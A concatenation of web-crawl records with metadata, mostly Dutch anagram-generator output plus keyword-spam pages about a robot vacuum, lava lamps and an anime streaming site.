(current)","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/www.anagrammen.com\/van\/paulien+van+deutekom\/met\/mikado","date":"2019-01-17T18:46:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583659063.33\/warc\/CC-MAIN-20190117184304-20190117210304-00125.warc.gz","language":"mmx","language_score":0.6204550266,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 0.6204550266265869, \"rmy_Latn_score\": 0.061205800622701645, \"upv_Latn_score\": 0.026511458680033684, \"gaw_Latn_score\": 0.025404222309589386, \"sua_Latn_score\": 0.021781038492918015, \"pan_Latn_score\": 0.02117169462144375, \"zpo_Latn_score\": 0.02085396647453308, \"lww_Latn_score\": 0.01953873038291931, \"tvk_Latn_score\": 0.01348199974745512, \"vls_Latn_score\": 0.010123386979103088}","num_words":4063,"character_repetition_ratio":0.234,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":0.62,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van klimaatakkoord met het woord 'rook' rook dak klimaat rook ditmaal kak rook kak lidmaat rook dam klak tia rook dam kalk tia rook dak klam tia rook dak kalm tia rook klad mak tia rook kam klad tia rook aam dat klik rook aak dat klim rook dat kaki mal rook dat kaki lam rook dat kal maki rook dat lak maki rook dat kali mak rook dat kali kam rook dat kaam lik rook dat lik maak rook dat kaam kil rook dat kil maak rook dat kak mail rook dat laak mik rook dat kaal mik rook dat kim laak rook dat kaal kim rook dat kik maal rook dat kik lama rook alt dam kaki rook alt dak maki rook alt dim kaak rook alt kadi mak rook alt kadi kam rook alt dik kaam rook alt dik maak rook alt kaam kid rook alt kid maak rook alt daim kak rook adam alt kik rook dam kaki tal rook dak maki tal rook dim kaak tal rook kadi mak tal rook kadi kam tal rook dik kaam tal rook dik maak tal rook kaam kid tal rook kid maak tal rook daim kak tal rook adam kik tal rook dam kaki lat rook dak lat maki rook dim kaak lat rook kadi lat mak rook kadi kam lat rook dik kaam lat rook dik lat maak rook kaam kid lat rook kid lat maak rook daim kak lat rook adam kik lat rook dia klak tam rook dia kalk tam rook dal kaki tam rook kaak lid tam rook dak kali tam rook kadi kal tam rook kadi lak tam rook dik laak tam rook dik kaal tam rook kid laak tam rook kaal kid tam rook daal kik tam rook kik laad tam rook dia klak mat rook dia kalk mat rook dal kaki mat rook kaak lid mat rook dak kali mat rook kadi kal mat rook kadi lak mat rook dik laak mat rook dik kaal mat rook kid laak mat rook kaal kid mat rook daal kik mat rook kik laad mat rook aal dam kikt rook aal dak mikt rook aal dak kimt rook aal dim kakt rook aal dikt mak rook aal dikt kam rook aal dik kamt rook aal kamt kid rook aal dimt kak rook aal damt kik rook aam dit klak rook aam dit kalk rook aak dit klam rook aak dit kalm rook dit kaak mal rook dit kaak lam rook dit kaam kal rook dit kal maak rook dit kaam lak rook dit lak maak rook dit laak mak rook dit kaal mak rook dit kam laak rook dit kaal kam rook dit kak maal rook dit kak lama rook dam kaak til rook dak kaam til rook dak maak til rook adam kak til rook aam klad tik rook aam kit klad rook aam dal kikt rook aam kakt lid rook aam dak kilt rook aam dak likt rook aam dak klit rook aam dikt kal rook aam dikt lak rook aam dik talk rook aam dik kalt rook aam dik lakt rook aam kid talk rook aam kalt kid rook aam kid lakt rook dia kat klam rook dia kalm kat rook aak kat mild rook dal kat maki rook dam kali kat rook kadi kat mal rook kadi kat lam rook kaam kat lid rook kat lid maak rook dak kat mail rook daim kal kat rook daim kat lak rook dim kat laak rook dim kaal kat rook dik kat maal rook dik kat lama rook kat kid maal rook kat kid lama rook adam kat lik rook adam kat kil rook daal kat mik rook kat laad mik rook daal kat kim rook kat kim laad rook dia klam tak rook dia kalm tak rook aak mild tak rook dal maki tak rook dam kali tak rook kadi mal tak rook kadi lam tak rook kaam lid tak rook lid maak tak rook dak mail tak rook daim kal tak rook daim lak tak rook dim laak tak rook dim kaal tak rook dik maal tak rook dik lama tak rook kid maal tak rook kid lama tak rook adam lik tak rook adam kil tak rook daal mik tak rook laad mik tak rook daal kim tak rook kim laad tak rook dia kakt mal rook dia kakt lam rook dia kal kamt rook dia kamt lak rook dia mak talk rook dia kalt mak rook dia lakt mak rook dia kam talk rook dia kalt kam rook dia kam lakt rook dia kak malt rook dia kak talm rook aak dal mikt rook aak dal kimt rook aak dam kilt rook aak dam likt rook aak dam klit rook aak dikt mal rook aak dikt lam rook aak kamt lid rook aak dak milt rook aak dimt kal rook aak dimt lak rook aak dim talk rook aak dim kalt rook aak dim lakt rook aak dik malt rook aak dik talm rook aak kid malt rook aak kid talm rook aak damt lik rook aak damt kil rook dal kaam tik rook dal maak tik rook dam laak tik rook dam kaal tik rook dak maal tik rook dak lama tik rook adam kal tik rook adam lak tik rook daal mak tik rook laad mak tik rook daal kam tik rook kam laad tik rook dal kaam kit rook dal kit maak rook dam kit laak rook dam kaal kit rook dak kit maal rook dak kit lama rook adam kal kit rook adam kit lak rook daal kit mak rook kit laad mak rook daal kam kit rook kam kit laad rook dal mik taak rook dal kim taak rook aamt dal kik rook dal kik maat rook dal kik mata rook dam lik taak rook dam kil taak rook dam kik taal rook dam kik laat rook aalt dam kik rook dik mal taak rook kid mal taak rook adat kik mal rook data kik mal rook dik lam taak rook kid lam taak rook adat kik lam rook data kik lam rook lid mak taak rook kam lid taak rook aamt kak lid rook kak lid maat rook kak lid mata rook aamt dak lik rook dak lik maat rook dak lik mata rook aamt dak kil rook dak kil maat rook dak kil mata rook dak mik taal rook dak laat mik rook aalt dak mik rook dak kim taal rook dak kim laat rook aalt dak kim rook dim kal taak rook aamt dik kal rook dik kal maat rook dik kal mata rook aamt kal kid rook kal kid maat rook kal kid mata rook adat kal mik rook data kal mik rook adat kal kim rook data kal kim rook dim lak taak rook aamt dik lak rook dik lak maat rook dik lak mata rook aamt kid lak rook kid lak maat rook kid lak mata rook adat lak mik rook data lak mik rook adat kim lak rook data kim lak rook dim kak taal rook dim kak laat rook aalt dim kak rook dik mak taal rook dik laat mak rook aalt dik mak rook kid mak taal rook kid laat mak rook aalt kid mak rook adat lik mak rook data lik mak rook adat kil mak rook data kil mak rook dik kam taal rook dik kam laat rook aalt dik kam rook kam kid taal rook kam kid laat rook aalt kam kid rook adat kam lik rook data kam lik rook adat kam kil rook data kam kil rook al dim kaakt rook al dik kaamt rook al dik maakt rook al kaamt kid rook al kid maakt rook dim kaakt la rook dik kaamt la rook dik la maakt rook kaamt kid la rook kid la maakt rook dia klakt ma rook dia kalkt ma rook kaakt lid ma rook dik laakt ma rook kid laakt ma rook daalt kik ma rook kik laadt ma rook aam ik kladt rook dal ik kaamt rook dal ik maakt rook dam ik laakt rook dak ik malta rook dak ik maalt rook daalt ik mak rook ik laadt mak rook daalt ik kam rook ik kam laadt rook adam at klik rook at daim klak rook at daim kalk rook at kadi klam rook at kadi kalm rook at kaak mild rook at klad maki rook al damt kaki rook adam al kikt rook al dimt kaak rook al kadi kamt rook al daim kakt rook al dikt kaam rook al dikt maak rook damt kaki la rook adam kikt la rook dimt kaak la rook kadi kamt la rook daim kakt la rook dikt kaam la rook dikt la maak rook adat klik ma rook data klik ma rook daal kikt ma rook kikt laad ma rook kadi ma talk rook kadi kalt ma rook kadi lakt ma rook dikt laak ma rook dikt kaal ma rook adat ik klam rook adat ik kalm rook data ik klam rook data ik kalm rook aamt ik klad rook ik klad maat rook ik klad mata rook damt ik laak rook damt ik kaal rook daal ik kamt rook ik kamt laad rook adam ik talk rook adam ik kalt rook adam ik lakt rook al at dam kik rook al at dak mik rook al at dak kim rook al at dim kak rook al at dik mak rook al at kid mak rook al at dik kam rook al at kam kid rook at dam kik la rook at dak la mik rook at dak kim la rook at dim kak la rook at dik la mak rook at kid la mak rook at dik kam la rook at kam kid la rook at dal kik ma rook at kak lid ma rook at dak lik ma rook at dak kil ma rook at dik kal ma rook at kal kid ma rook at dik lak ma rook at kid lak ma rook at dal ik mak rook at dal ik kam rook at dam ik kal rook at dam ik lak rook at dak ik mal rook at dak ik lam rook al dat kik ma rook al dit kak ma rook al dik kat ma rook al kat kid ma rook al dik ma tak rook al kid ma tak rook al dak ma tik rook al dak kit ma rook al dat ik mak rook al dat ik kam rook al dak ik tam rook al dak ik mat rook al dam ik kat rook al dam ik tak rook dat kik la ma rook dit kak la ma rook dik kat la ma rook kat kid la ma rook dik la ma tak rook kid la ma tak rook dak la ma tik rook dak kit la ma rook dat ik la mak rook dat ik kam la rook dak ik la tam rook dak ik la mat rook dam ik kat la rook dam ik la tak rook dat ik kal ma rook dat ik lak ma rook alt dak ik ma rook dak ik ma tal rook dak ik lat ma rook dal ik kat ma rook dal ik ma tak Anagrammen van klimaatakkoord met rook - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/www.anagrammen.com\/van\/klimaatakkoord\/met\/rook","date":"2019-06-16T05:23:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627997731.69\/warc\/CC-MAIN-20190616042701-20190616064701-00498.warc.gz","language":"mmx","language_score":0.3955151439,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 0.3955151438713074, \"sua_Latn_score\": 0.36198633909225464, \"lmk_Latn_score\": 0.19857697188854218}","num_words":1908,"character_repetition_ratio":0.126,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.037,"flagged_words_ratio":0.0,"lang_id_score":0.398,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Sitemap Gallery X xiaomi mi robot vacuum original xiaomi mi robot vacuum manualxiaomi mi robot vacuum xiaomi mi robot vacuum cleaner 2xiaomi mi robot vacuum xiaomi mi robot vacuum manuale italianoxiaomi mi robot vacuum xiaomi mi robot vacuum cleanerxiaomi mi robot vacuum xiaomi mi robot vacuum eu reviewxiaomi mi robot vacuum xiaomi mi robot vacuum vs roomba 980xiaomi mi robot vacuum xiaomi mi robot vacuum cleaner vs irobotxiaomi mi robot vacuum xiaomi mi robot vacuum vs roombaxiaomi mi robot vacuum xiaomi mi robot vacuum app androidxiaomi mi robot vacuum xiaomi mi robot vacuum wifi setupxiaomi mi robot vacuum xiaomi mi robot vacuum vs irobot roomba 980xiaomi mi robot vacuum xiaomi mi robot vacuum setupxiaomi mi robot vacuum xiaomi mi robot vacuum 2 reviewxiaomi mi robot vacuum xiaomi mi robot vacuum vs irobotxiaomi mi robot vacuum xiaomi mi robot vacuum manual espanolxiaomi mi robot vacuum xiaomi mijia mi robot vacuum reviewxiaomi mi robot vacuum xiaomi mi robot vacuum manualxiaomi mi robot vacuum xiaomi mi robot vacuum manual englishxiaomi mi robot vacuum xiaomi mi robot vacuum appxiaomi mi robot vacuum xiaomi mi robot vacuum 2 setupxiaomi mi robot vacuum xiaomi mi robot vacuum cleaner vs roomba 980xiaomi mi robot vacuum original xiaomi mi robot vacuum vs roombaxiaomi mi robot vacuum xiaomi mi robot vacuum repairxiaomi mi robot vacuum xiaomi mi robot vacuum cleaner gen 1xiaomi mi robot vacuum xiaomi mi robot vacuum 2 manualxiaomi mi robot vacuum xiaomi mi robot vacuum 2 mop","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/orlandorealestateguide.info\/qp\/x\/","date":"2019-09-20T11:44:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574018.53\/warc\/CC-MAIN-20190920113425-20190920135425-00498.warc.gz","language":"mmx","language_score":0.6258233786,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 0.6258233785629272, \"sps_Latn_score\": 0.09499584138393402, \"diq_Latn_score\": 0.09363618493080139, \"nlg_Latn_score\": 0.055176060646772385, \"sun_Latn_score\": 0.02964906021952629, \"obo_Latn_score\": 0.018265411257743835, \"akb_Latn_score\": 0.015747811645269394}","num_words":237,"character_repetition_ratio":0.567,"word_repetition_ratio":0.171,"special_characters_ratio":0.17,"stopwords_ratio":0.219,"flagged_words_ratio":0.0,"lang_id_score":0.627,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"lava lava lamp uploaded 2 years ago lava lamp lava wont flow.\nlava lava lamp lava lamp lava stuck.\nlava lava lamp baby lava lamp lava lamp lava problems.\nlava lava lamp how to make a lava lamp without seltzer lava lamp lava broken.\nlava lava lamp lava lamp death photo 7 lava lamp lava stuck at top.\nlava lava lamp make your own lava lamp lava lamp lava stuck at bottom.\nlava lava lamp the physics of a lava lamp black lava lava lamp.\nlava lava lamp lava lamp inch red liquid black wax lava lamp lava broken.\nlava lava lamp volcano lava lamp lava lamp target lava lamp target batman lava lamp target fish lava lamp lava lamp lava not moving.\nlava lava lamp lava lamp lava separated.\nlava lava lamp best lava lamps best lava lamp ever on twitter basically the best welcome back trailer present lava lamp lava wont flow.\nlava lava lamp unique lava lamp lava lamp speakers multi color lava lamp unique lava lamps its a glitter lava lamp lava not moving.\nlava lava lamp volcano lava lamp volcano lava lamp full size of volcano lava lamp lamps lyrics without seltzer volcano lava lamp black lava lava lamp.\nlava lava lamp dean must be saved lava lamp lava problems.\nlava lava lamp lava lamps tags lamp lava lava lamp lava stuck.\nlava lava lamp lava lamp bottle yellow orange lava lamp lava stuck in middle.\nlava lava lamp i also have a lava lamp lava pink photography black wax lava lamp.\nlava lava lamp sparkle glitter retro purple lava motion lamp by lava lamp lava stuck at bottom.\nlava lava lamp colossus and giant a my colossus lava lamp lava lamp lava not moving.\nlava lava lamp care and use lava lava lamps lava lamp lava broken.\nlava lava lamp lava lamp lava lamp photo 4 of full image for lava lamps for sale port lava lamp black wax lava lamp.\nlava lava lamp lava lamp lava problems.\nlava lava lamp black lava lamp lava lamp lava lamp lamp design inch lava lamp lava lamp custom lava lava lamp lava separated.\nlava lava lamp large floor lava lamp floor lava lamps unique lava lamp lava wont flow.\nlava lava lamp lava lamps lava lamp lava stuck.\nlava lava lamp lava lamp pink red lava lamp lava not rising.","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/cloudpitch.me\/lava-lava-lamp\/","date":"2019-09-22T21:13:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514575674.3\/warc\/CC-MAIN-20190922201055-20190922223055-00386.warc.gz","language":"mmx","language_score":0.6898565888,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.6898565888404846, \"mmo_Latn_score\": 0.09316903352737427, \"wol_Latn_score\": 0.07753614336252213, \"smo_Latn_score\": 0.022820716723799706, \"lmo_Latn_score\": 0.016578471288084984}","num_words":391,"character_repetition_ratio":0.347,"word_repetition_ratio":0.005,"special_characters_ratio":0.2,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.69,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Thông tin phim\nTừ khóa: Kimi ga Nozomu Eien OVARumbling Hearts OVA | Kimi ga Nozomu Eien: Next Season | Kimi ga Nozomu Eien: Haruka Route | The Eternity You Wish For OVA fullKimi ga Nozomu Eien OVA hay nhấtKimi ga Nozomu Eien OVA vietsubxem Kimi ga Nozomu Eien OVA onlineanime Kimi ga Nozomu Eien OVA trọn bộKimi ga Nozomu Eien OVA việt subxem anime Kimi ga Nozomu Eien OVAxem anime Kimi ga Nozomu Eien OVA full tậpxem anime Kimi ga Nozomu Eien OVA hdxem anime Kimi ga Nozomu Eien OVA tiếng việtxem anime Kimi ga Nozomu Eien OVA tập cuốidownload anime Kimi ga Nozomu Eien OVAtai anime Kimi ga Nozomu Eien OVA\nPhim liên quan\nPhim Mới Xem","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/animet.net\/phim-kimi-ga-nozomu-eien-ova-571.html","date":"2019-11-14T19:52:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668534.60\/warc\/CC-MAIN-20191114182304-20191114210304-00063.warc.gz","language":"mmx","language_score":0.4898983538,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"mmx_Latn_score\": 0.48989835381507874, \"vie_Latn_score\": 0.145146444439888, \"anp_Deva_score\": 0.1260899156332016, \"kto_Latn_score\": 0.09138767421245575, \"krl_Latn_score\": 0.022380605340003967, \"nsm_Latn_score\": 0.012064142152667046}","num_words":116,"character_repetition_ratio":0.381,"word_repetition_ratio":0.0,"special_characters_ratio":0.195,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":0.233,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van paulien van deutekom met het woord 'loket' loket apen duin mauve loket mauve pand uien loket mauve pand unie loket meun paai vendu loket menu paai vendu loket dupe muien vaan loket deun mauve napi loket apin deun mauve loket deun puien vaam loket apneu diva meun loket apneu diva menu loket aam puien vendu loket aap muien vendu loket dan mauve puien loket mauve naden pui loket aap duiven meun loket aap duiven menu loket avenue dan puim loket dupe nam niveau loket dupe man niveau loket avenue duim nap loket avenue duim pan loket avenue dam puin loket meun niveau pad loket menu niveau pad loket deun map niveau loket avenue duin map loket deun mui pavane loket avenue mui pand loket deunen pui vaam loket avenue mand pui loket apen mud niveau loket mud pavane uien loket mud pavane unie loket avenue mud napi loket apin avenue mud loket au mauve pinden loket apneu duiven ma loket duinen mauve pa loket mauve panden ui loket mande niveau up loket maden niveau up loket avenue indam up loket mauve nadien up loket maaien up vendu loket au duinpan veem loket au puin vademen loket unaniem up veda loket nu pee vanadium loket ene up vanadium loket nee up vanadium loket een up vanadium loket dun ene pui vaam loket ene mud pui vaan loket dun nee pui vaam loket mud nee pui vaan loket dun een pui vaam loket een mud pui vaan loket dun mee pui vaan loket dun mui pee vaan loket aan dun puim vee loket aan mud puin vee loket aam dun puin vee loket dun mui paan vee loket dun maan pui vee loket dun naam pui vee loket mud naan pui vee loket aan dupe mui ven loket aan dun pui veem loket aan even mud pui loket aan mud pui veen loket dan eva meun pui loket dan eva menu pui loket deun eva nam pui loket deun eva man pui loket deun eva mui nap loket eva mud nap uien loket eva mud nap unie loket deun eva mui pan loket eva mud pan uien loket eva mud pan unie loket dun eva map uien loket dun eva map unie loket apen dun eva mui loket amen dun eva pui loket aam deun pui ven loket aam dun even pui loket aam dun pui veen loket aap dun meun vei loket aap dun menu vei loket aap deun mui ven loket aap mud uien ven loket aap mud unie ven loket aap dun even mui loket aap dun mui veen loket dupe en mui vaan loket deun en pui vaam loket de meun pui vaan loket de menu pui vaan loket dump eva na uien loket dump eva na unie loket deun eva na puim loket dupe meun na via loket dupe menu na via loket meun na pui veda loket menu na pui veda loket deun me pui vaan loket au duin ene vamp loket au duin nee vamp loket au duin een vamp loket au mand puin vee loket au den uien vamp loket au den unie vamp loket au end uien vamp loket au end unie vamp loket au men puin veda loket au meun pand vei loket au menu pand vei loket au diva meun nep loket au diva menu nep loket au diva meun pen loket au diva menu pen loket au dan even puim loket au dan puim veen loket au dan puin veem loket au dump iaen ven loket apen au duim ven loket au damp uien ven loket au damp unie ven loket au dame puin ven loket adem au puin ven loket au made puin ven loket au dupe mani ven loket au dump neen via loket au dump enen via loket au dump enne via loket au duim even nap loket au duim nap veen loket au duin nap veem loket au meun nap vide loket au menu nap vide loket au duim even pan loket au duim pan veen loket au duin pan veem loket au meun pan vide loket au menu pan vide loket au eend puim van loket au eden puim van loket au duim pene van loket au duim epen van loket au duim neep van loket au duim peen van loket au mede puin van loket au meed puin van loket au demp uien van loket au demp unie van loket au deun miep van loket au diep meun van loket au diep menu van loket au dam even puin loket au dam puin veen loket au meun nip veda loket au menu nip veda loket au meun pin veda loket au menu pin veda loket amen au dupe vin loket au meun peda vin loket au menu peda vin loket au duin even map loket au duin map veen loket au dun napi veem loket apin au dun veem loket au even mui pand loket au mui pand veen loket au even mand pui loket au mand pui veen loket au even mud napi loket apin au even mud loket au mud napi veen loket apin au mud veen loket amen au deun vip loket deun eva ma puin loket dupe ma uien van loket dupe ma unie van loket duin eva meun pa loket duin eva menu pa loket deun meun pa via loket deun menu pa via loket dump ene ui vaan loket dump nee ui vaan loket dump een ui vaan loket dump naan ui vee loket aan dump even ui loket aan dump ui veen loket eva meun pand ui loket eva menu pand ui loket dupe men ui vaan loket deun nep ui vaam loket deun pen ui vaam loket dupe maan ui ven loket dupe naam ui ven loket dep meun ui vaan loket dep menu ui vaan loket meun nap ui veda loket menu nap ui veda loket meun pan ui veda loket menu pan ui veda loket amen dupe ui van loket meun peda ui van loket menu peda ui van loket deun mep ui vaan loket dun pene ui vaam loket dun epen ui vaam loket dun neep ui vaam loket dun peen ui vaam loket dun paan ui veem loket mud pene ui vaan loket epen mud ui vaan loket mud neep ui vaan loket mud peen ui vaan loket even mud paan ui loket mud paan ui veen loket eed nu puim vaan loket eed nu puin vaam loket duim nu pee vaan loket duin nu pee vaam loket aai dump even nu loket aai dump nu veen loket dump naai nu vee loket naad nu puim vee loket duim nu paan vee loket adam nu puin vee loket aan dump nu veie loket dump eva iaen nu loket apen duim eva nu loket damp eva nu uien loket damp eva nu unie loket dame eva nu puin loket adem eva nu puin loket eva made nu puin loket dupe eva mani nu loket dupe mie nu vaan loket dupe mei nu vaan loket deun iep nu vaam loket dupe maan nu vei loket dupe naam nu vei loket aap duim even nu loket aap duim nu veen loket aap duin nu veem loket aap meun nu vide loket aap menu nu vide loket amai dupe nu ven loket dupe maai nu ven loket dep nu uien vaam loket dep nu unie vaam loket amen dupe nu via loket meun nu peda via loket menu nu peda via loket map nu uien veda loket map nu unie veda loket dun nu paai veem loket apen mui nu veda loket eend nu pui vaam loket eden nu pui vaam loket adam even nu pui loket adam nu pui veen loket mede nu pui vaan loket meed nu pui vaan loket amen nu pui veda loket naad nu pui veem loket mud nu paan veie loket even mud nu paai loket mud nu paai veen loket duim ene up vaan loket duin ene up vaam loket duim nee up vaan loket duin nee up vaam loket duim een up vaan loket duin een up vaam loket duin mee up vaan loket duim naan up vee loket duin maan up vee loket duin naam up vee loket aan duim even up loket aan duim up veen loket aan duin up veem loket aan meun up vide loket aan menu up vide loket die meun up vaan loket die menu up vaan loket amen duin eva up loket eva mand uien up loket eva mand unie up loket deun eva mani up loket den uien up vaam loket den unie up vaam loket end uien up vaam loket end unie up vaam loket deun mie up vaan loket deun mei up vaan loket aam duin even up loket aam duin up veen loket meun naad up vei loket menu naad up vei loket deun maan up vei loket deun naam up vei loket adam uien up ven loket adam unie up ven loket amai deun up ven loket deun maai up ven loket nam uien up veda loket nam unie up veda loket man uien up veda loket man unie up veda loket amen deun up via loket iade meun up van loket iade menu up van loket dame uien up van loket adem uien up van loket made uien up van loket dame unie up van loket adem unie up van loket made unie up van loket dun maan up veie loket dun naam up veie loket dun naai up veem loket amai dun even up loket dun even maai up loket amai dun up veen loket dun maai up veen loket eend mui up vaan loket eden mui up vaan loket even mui naad up loket mui naad up veen loket mud naan up veie loket even mud naai up loket mud naai up veen loket dun ei mauve nap loket dun ei mauve pan loket apneu ei mud van loket aam en pui vendu loket aap en mui vendu loket dan en mauve pui loket apneu en mud via loket apneu de mui van loket eva mud na puien loket den mauve na pui loket end mauve na pui loket dun iep mauve na loket apneu mud na vei loket mud na pui venae loket aan me pui vendu loket apneu dun me via loket apneu eva in mud loket au den mauve nip loket au den mauve pin loket au den pui vamen loket au end mauve nip loket au end mauve pin loket au end pui vamen loket au mie nap vendu loket au mie pan vendu loket au mei nap vendu loket au mei pan vendu loket au iep nam vendu loket au iep man vendu loket au dun iep vamen loket au iep mud vanen loket au iep mud naven loket au dunne map vei loket au mud panne vei loket au mud panen vei loket au dan pui vemen loket au dam puien ven loket au muien pad ven loket apneu au dim ven loket au mui paden ven loket au mande pui ven loket au maden pui ven loket au dep muien van loket au dep mui vanen loket au dep mui naven loket au dunne mep via loket au mud nepen via loket au mud penen via loket au mud nap veine loket au mud pan veine loket au mui pende van loket au mende pui van loket au meden pui van loket au iepen mud van loket au dam neven pui loket au dam pui venen loket au mud nip venae loket au mud pin venae loket au mui neven pad loket au mui pad venen loket au dun map veine loket dun eva ma puien loket dunne eva ma pui loket apneu dun ma vei loket dun ma pui venae loket dun eva muien pa loket dunne eva mui pa loket dun mui pa venae loket mud panna ui vee loket aan mep ui vendu loket dunne eva map ui loket eva mud panne ui loket eva mud panen ui loket den mauve nap ui loket den mauve pan ui loket end mauve nap ui loket end mauve pan ui loket aam nep ui vendu loket aam pen ui vendu loket aap men ui vendu loket aap dun ui vemen loket aap mud neven ui loket aap mud ui venen loket dan mauve nep ui loket dan mauve pen ui loket apneu dam ui ven loket mud nap ui venae loket mud pan ui venae loket dun map ui venae loket aai mep nu vendu loket mui nu panda vee loket maand nu pui vee loket die mauve nap nu loket die mauve nu pan loket dam eva nu puien loket eva muien nu pad loket apneu dim eva nu loket eva mui nu paden loket eva mande nu pui loket eva maden nu pui loket aap mie nu vendu loket aap mei nu vendu loket aam iep nu vendu loket dan iep mauve nu loket dia mauve nep nu loket dia mauve nu pen loket apneu dam nu vei loket aap mud nu veine loket adieu map nu ven loket adieu mep nu van loket dam nu pui venae loket mui nu pad venae loket aai men up vendu loket aai dun up vemen loket aai mud neven up loket aai mud up venen loket anima dun up vee loket aan mie up vendu loket aan mei up vendu loket aan mud up veine loket dan eva muien up loket dun eva manie up loket amine dun eva up loket anime dun eva up loket eva mui naden up loket aam dunne up vei loket aam dun up veine loket adieu men up van loket dan mui up venae loket adieu nam up ven loket adieu man up ven loket aaien mud up ven loket au dunne ei vamp loket au dump ei vanen loket au dump ei naven loket ei mauve nu pand loket ei maan up vendu loket ei naam up vendu loket dunne ei up vaam loket au en puin vadem loket duin en mauve pa loket en mauve pand ui loket adieu en nu vamp loket amai en up vendu loket en maai up vendu loket de mauve na puin loket au de puin vamen loket au de puim vanen loket au de naven puim loket de mauve napi nu loket apin de mauve nu loket de nu puien vaam loket de muien up vaan loket dupe in mauve na loket au miep na vendu loket au dump na veine loket dupe na ui vamen loket dump na ui venae loket diep mauve na nu loket deun mauve na pi loket eind mauve na up loket dein mauve na up loket inde mauve na up loket dien mauve na up loket na uien up vadem loket na unie up vadem loket muien na up veda loket duim na up venae loket au me napi vendu loket apin au me vendu loket apneu au me vind loket me paan ui vendu loket me nu paai vendu loket apneu diva me nu loket me naai up vendu loket au dupe in vamen loket au dump in venae loket deun in mauve pa loket in mauve nu peda loket au duin pa vemen loket au duim neven pa loket au duim pa venen loket au pand ui vemen loket au demp ui vanen loket au demp naven ui loket au damp neven ui loket au damp ui venen loket au enden ui vamp loket au nu pinda veem loket au diep nu vamen loket au damp nu veine loket au einde nu vamp loket amen au pi vendu loket au deun pi vamen loket au divan neme up loket au divan meen up loket au divan neem up loket au even indam up loket au indam up veen loket au eind up vamen loket au dein up vamen loket au inde up vamen loket au dien up vamen loket au minne up veda loket au meid up vanen loket au meid naven up loket au demi up vanen loket au demi naven up loket au idem up vanen loket au idem naven up loket au manen up vide loket au namen up vide loket au daim neven up loket au daim up venen loket au mand up veine loket au diva nemen up loket au diva menen up loket ma pa uien vendu loket ma pa unie vendu loket apen ma ui vendu loket dupe ma ui vanen loket dupe ma naven ui loket ma nu puien veda loket apneu ma nu vide loket iaen ma up vendu loket duin ma up venae loket amen pa ui vendu loket deun pa ui vamen loket eind mauve nu pa loket dein mauve nu pa loket inde mauve nu pa loket dien mauve nu pa loket nu pa uien vadem loket nu pa unie vadem loket muien nu pa veda loket duim nu pa venae loket apen nu ui vadem loket nu panda ui veem loket nu peda ui vamen loket nu pende ui vaam loket damp nu ui venae loket even maand ui up loket maand ui up veen loket naad ui up vemen loket dame ui up vanen loket dame naven ui up loket adem ui up vanen loket adem naven ui up loket made ui up vanen loket made naven ui up loket manen ui up veda loket namen ui up veda loket mende ui up vaan loket meden ui up vaan loket adam neven ui up loket adam ui up venen loket enden ui up vaam loket mand ui up venae loket diepe nu nu vaam loket iaen nu up vadem loket iade nu up vamen loket maand nu up veie loket manie nu up veda loket amine nu up veda loket anime nu up veda loket adam nu up veine loket daim nu up venae loket einde nu up vaam loket au dumpen ei van loket ei mud nu pavane loket au dumpen en via loket au duiven en map loket en mud niveau pa loket en mud pavane ui loket aam duiven en up loket dam en niveau up loket au de puimen van loket de map niveau nu loket de mui nu pavane loket de nam niveau up loket de man niveau up loket au dumpen na vei loket au duiven mep na loket dumpen eva na ui loket avenue mud na pi loket duimen eva na up loket avenue dim na up loket mud na naieve up loket au duiven me nap loket au duiven me pan loket dun me niveau pa loket dun me pavane ui loket aap duiven me nu loket me niveau nu pad loket aan duiven me up loket dan me niveau up loket au dumpen eva in loket avenue in mud pa loket avenue dam in up loket au au mep vinden loket au au dempen vin loket au au nemend vip loket au au menden vip loket au duiven ma nep loket au duiven ma pen loket au deunen ma vip loket au duiven men pa loket au duimen pa ven loket au dampen ui ven loket au dempen ui van loket au indamp nu vee loket au dampen nu vei loket au dempen nu via loket au dieven map nu loket ademen au nu vip loket au mud pi vaneen loket au eva minden up loket au manden up vei loket au inadem up ven loket au mandie up ven loket au medina up ven loket au iemand up ven loket au dieven nam up loket au dieven man up loket au nemend up via loket au menden up via loket au meiden up van loket ademen au up vin loket au dim up vaneen loket dep ma niveau nu loket avenue dip ma nu loket avenue dun ma pi loket duinen eva ma up loket den ma niveau up loket end ma niveau up loket deunen ma up via loket dun ma naieve up loket mud pa ui vaneen loket duimen eva nu pa loket avenue dim nu pa loket mud naieve nu pa loket dampen eva nu ui loket eva manden ui up loket maande ui up ven loket ademen ui up van 